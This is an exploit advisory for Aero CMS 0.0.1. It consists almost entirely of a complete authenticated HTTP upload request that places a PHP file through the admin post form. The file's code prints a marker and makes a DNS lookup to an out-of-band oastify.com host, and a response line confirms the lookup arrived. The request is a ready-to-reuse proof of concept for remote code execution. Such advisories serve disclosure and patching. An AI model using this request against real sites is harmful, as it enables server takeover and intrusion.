Aero CMS 0.0.1 Remote Shell Upload

`# Exploit Title: Aero CMS v0.0.1 - PHP Code Injection (auth)  
# Date: 15/10/2022  
# Exploit Author: Hubert Wojciechowski  
# Contact Author: [email protected]  
# Vendor Homepage: https://github.com/MegaTKC/AeroCMS  
# Software Link: https://github.com/MegaTKC/AeroCMS  
# Version: 0.0.1  
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23  
  
## Example   
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Param: image content uploading image  
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Req  
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POST /AeroCMS-master/admin/posts.php?source=add_post HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------369779619541997471051134453116  
Content-Length: 1156  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/AeroCMS-master/admin/posts.php?source=add_post  
Cookie: phpwcmsBELang=en; homeMaxCntParts=10; homeCntType=24; PHPSESSID=k3a5d2usjb00cd7hpoii0qgj75  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="post_title"  
  
mmmmmmmmmmmmmmmmm  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="post_category_id"  
  
1  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="post_user"  
  
admin  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="post_status"  
  
draft  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="image"; filename="at8vapghhb.php"  
Content-Type: text/plain  
  
<?php printf("bh3gr8e32s".(7*6)."ci4hs9f43t");gethostbyname("48at8vapghhbnm0uo4sx5ox8izoxcu0mzarxmlb.oasti"."fy.com");?>  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="post_tags"  
  
  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="post_content"  
  
<p>mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm</p>  
-----------------------------369779619541997471051134453116  
Content-Disposition: form-data; name="create_post"  
  
Publish Post  
-----------------------------369779619541997471051134453116--  
  
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Res:  
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The Collaborator server received a DNS lookup of type A for the domain name 48at8vapghhbnm0uo4sx5ox8izoxcu0mzarxmlb.oastify.com.  
  
  
`